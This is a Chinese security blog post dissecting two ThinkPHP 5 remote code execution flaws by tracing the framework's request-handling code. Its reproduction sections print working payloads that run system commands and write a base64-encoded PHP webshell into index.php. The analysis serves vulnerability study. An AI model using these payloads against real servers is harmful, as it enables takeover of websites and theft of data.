thinkphp5rce分析

该文章更新于 2025.04.15

对于tp5的两个rce漏洞的一些分析。

thinkphp-5-rce分析

ThinkPHP5 5.0.23 远程代码执行漏洞

ThinkPHP5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响范围

ThinkPHP 5.0.x:5.0.0 ~ 5.0.23

复现

RCE

1
2
GET  :/index.php?s=captcha 
POST :_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

image-20240720205321343

GETSHELL

1
2
GET  :/index.php?s=captcha 
POST :_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGFzc2VydCgkX1BPU1RbJ2EnXSk7Pz4= | base64 -d > index.php

将一句话木马追加至index.php的最后一行。成功使用哥斯拉连接

image-20240717222606937

分析

参考文章

框架漏洞]ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析_yaml-thinkphp5023-method-rce-CSDN博客

ThinkPHP5.0.0~5.0.23RCE 漏洞分析及挖掘思路_thinkphp rce漏洞-CSDN博客

thinkphp 5.0.23 RCE分析 | XiLitter

漏洞造成原因

这个漏洞关键点出在Request.php

image-20240718142459377

如果$filter, $value和value都可控的话,就可以利用回调函数来进行rce。

逆向分析

我们看看有哪个地方调用了filterValue函数。

image-20240718143128382

可以看到cookie函数和input函数中都存在该方法的调用。两个函数的点差不多,我们对input进行分析。

image-20240718144147003

继续看input被谁调用了。

image-20240718150051010

发现input函数被param函数调用了,并且可以看到input的data参数的值是由param的param赋予

1
2
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

我们再找找谁调用了param函数。有多处调用地点,由于我是复现漏洞,直接调试找到了是哪个地方造成参数可控。其它调用分析就略过了。

直接看这个exec函数,位于thinkphp\library\think\App.php

image-20240718173112413

这里的request可能存在可控参数,也是造成漏洞的原因。

最后我们再查看exec被谁调用了。发现是同文件的run函数调用了

image-20240718173501795

继续看run函数。

image-20240718173602365

这样我们发现已经到了start.php。再往前就是入口文件了。那么我们的逆向分析就到这里了。通过之前的分析我们可以知道,从入口文件到最后的漏洞点是存在利用链的,并且我们可以控制其中的一些参数。但是具体的利用过程还是没有很清晰。我们打上断点开始调试。

正向分析

先看入口文件,它包含了另一个文件。

1
2
3
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

我们跟进start.php

1
2
3
4
5
6
7
8
namespace think;

// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()->send();

先跟进run函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;

try {
......
}catch (HttpResponseException $exception) {
$data = $exception->getResponse();
}

Loader::clearInstance();

// 输出数据到客户端
if ($data instanceof Response) {
$response = $data;
} elseif (!is_null($data)) {
// 默认自动识别响应输出类型
......
} else {
$response = Response::create();
}

// 监听 app_end
Hook::listen('app_end', $response);

return $response;
}

由于这个漏洞出在url的处理上,我们主要看这个函数对url的处理

1
2
3
4
5
6
7
8
Hook::listen('app_dispatch', self::$dispatch);
// 获取应用调度信息
$dispatch = self::$dispatch;

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}

看看$dispatch的具体值是什么

image-20240718200724965

这里的$dispatch为空会进入routeCheck函数,我们继续跟入。

发现这里的result和request有联系。继续跟进。

image-20240718201758617

发现857行处调用了request对象的method方法。image-20240718202339440

调试到method函数处。可以看到method默认是false,所以会执行else语句

image-20240718203507811

并且在后面的$_POST[Config::get('var_method')],Config类的var_method的值就是_method。所以我们通过POST传入的_method参数的值就可以进入$this->{$this->method}($_POST);实现任意函数调用

image-20240718204402947

我们的payload:

1
2
GET: /index.php?s=captcha
POST:_method=__construct&filter[]=system&method=get&get[]=whoami

这样会调用__construct方法。而在__construct方法中存在变量覆盖。这里的filter与get一开始是空值,我们传入需要的值。即system和whoami,并且要补充method=get保证method的值没有问题。

image-20240718205058435

继续下一步,变量覆盖完成后可以看到filter与get数组的值就以及变成我们需要的值。

image-20240718205620985

现在成功完成了对参数的控制。再看到我们之前逆向分析的过程,在exec函数打上断点继续调试。会进入method。至于为什么$dispatch[‘type’]的值是method后面详细解释。

image-20240718210110966

之后进入param方法

通过array_merge将当前请求参数和URL地址中的参数合并。

image-20240718213104432

再接着进入get方法。现在的get方法返回给input方法值中的get由于前面的变量覆盖,值已经变了

image-20240718213215616

这样input返回的data也就变成了我们想要执行的命令

image-20240718213427659

之后进行一些处理后再次进入input方法

image-20240718213541005

接着进入getFilter方法获取filter的值

image-20240718213658632

此时filter和data的值:image-20240718214202152

对data进行判断,通过array_walk_recursive为data数组中的元素调用filterValue方法

image-20240718214130058

至此,函数调用完成。

image-20240718211419475

payload:

1
2
GET: /index.php?s=captcha
POST:_method=__construct&filter[]=system&method=get&get[]=whoami

补充

poc2

另一个payload,也就是我复现时展示的

1
2
GET  :/index.php?s=captcha 
POST :_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

这个方法原理差不多,也是拿到input方法进行任意函数调用。在server函数内同样存在一个input方法的调用。

image-20240718215112636

使得method方法中的method为true。进入server函数。传入server[REQUEST_METHOD]=whoami完成rce

image-20240718215439338

为什么?s=captcha

前文中有提到exec函数中我们的$dispatch['type']的值是method是由s=captcha实现的

我们看看$dispatch的值时如何产生的

在app.php中有对应操作

image-20240718221444929

查看routeCheck的返回值,发现这里返回的result由check方法决定

我们打下断点后继续调试

image-20240718221955664

在这里又进入了cherkRoute,继续跟入

image-20240718221745768

接下来再看checkRoute的返回值。checkRoute方法中

image-20240718222510483

对rule数组进行遍历。

继续跟进

image-20240718223044416

进入match函数。发现会将rule的元素拆分

image-20240718223129754

继续看match函数,存在一个比较逻辑。

判断$val$m1[$key] 是否不相等,若不相等,返回非0,也就是true。然后会 return false;所以我们get传参需要s=captcha。

image-20240718223322934

之后会进入parseRule

image-20240718223928939

最后拿到method

image-20240718224140517

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

ThinkPHP版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

影响范围

ThinkPHP5.0.x:5.0.0 ~ 5.0.24

ThinkPHP5.1.x:5.1.0 ~ 5.1.31

复现

RCE

1
2
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

image-20240717223556108

GETSHELL

1
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n PD9waHAgQGFzc2VydCgkX1BPU1RbJ2EnXSk7Pz4= | base64 -d > index.php

image-20240717223849552

分析

参考文章:

thinkphp5.0.22远程代码执行漏洞分析及复现 - st404 - 博客园 (cnblogs.com)

由于是同一大版本的tp。它的主要逻辑没啥区别。我们主要看到两个漏洞的分叉点。

它们都是index.php→startphp→app.php::run→self::routeCheck

进入routeCheck方法后就是差异所在了。

先调用path方法,对参数进行处理,处理过后path拿到控制方法相关数据即Index/\think\app/invokefunction,而get数组拿到剩下的函数调用相关数据。

image-20240719142726499

我们继续往下,这次关键点不在$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);而是在parseurl方法上。由于result为false,所以会触发if语句。

image-20240719143025191

我们继续跟进parseurl,此函数会解析变量$path。它先将path变量中的/替换为|

image-20240719143307829

接着进入parseUrlPath方法。将path变量转化为数组。具体的值为

1
2
3
4
5
6
Array
(
[0] => Index
[1] => \think\app
[2] => invokefunction
)

image-20240719143621425

我们再继续往下,会对控制器进行处理。这里的第二关if语句不成立,我们不用理会,主要查看下面的功能。

image-20240719144040138

拿到控制器和操作方法之后,封装到route里面。

image-20240719144336214

最后将返回值给到routeCheck方法

image-20240719144540162

之后将result传给dispatch

image-20240719144808250

这次dispatch的type值就是module而不是method了。这是由于没有传递s=captcha,导致之前分析的match函数匹配规则的时候就会返回false,然后一路返回false。最后调用parseUrl 函数拿到module。有兴趣的话可以自己调试试一下。

进入exec

image-20240719145311788

之后就是module方法了,我们继续跟进

image-20240719145412371

一直跟进到官方补丁位置。中间注释掉的正则就是官方的补丁。而$controller的值就是控制器名了。也就是result的第二个值

image-20240719145905574

继续往下拿到操作名。

image-20240719150212939

继续看module方法

这个if语句获取到了我们传入的操作方法与类名。也就是:

1
2
3
4
5
ReflectionMethod Object
(
[name] => invokeFunction
[class] => think\App
)

image-20240719150531312

再然后就是进入另一个方法了。

image-20240719150857833

在invokeMethod方法中,通过调用bindParams来拿到get数组里剩余的值

image-20240719151440710

最后就是通过invokeArgs来传递参数调用回调函数完成rce。data是执行的结果

image-20240719154547717

具体执行细节就是通过反射,获取到call_user_func_array方法的反射对象,传参调用。可以通过这篇文章详细了解thinkphp5.0.23 invokefunction RCE漏洞 详细分析与复现 - FreeBuf网络安全行业门户

这里$reflect->invokeArgs方法参数是一个数组,而call_user_func_array第一个参数是函数名,第二个参数是一个数组,所以需要构造vars[0]=system,&vars[1][]=whoami

造成漏洞的原因是parseUrl函数只是简单的将变量中/变为|来分开,但是如果存在/时就会导致控制器变为think\app。这样会创建App对象,而App对象里有invokefunction方法,所以action设置为invokefunction,这样就可以执行任意方法。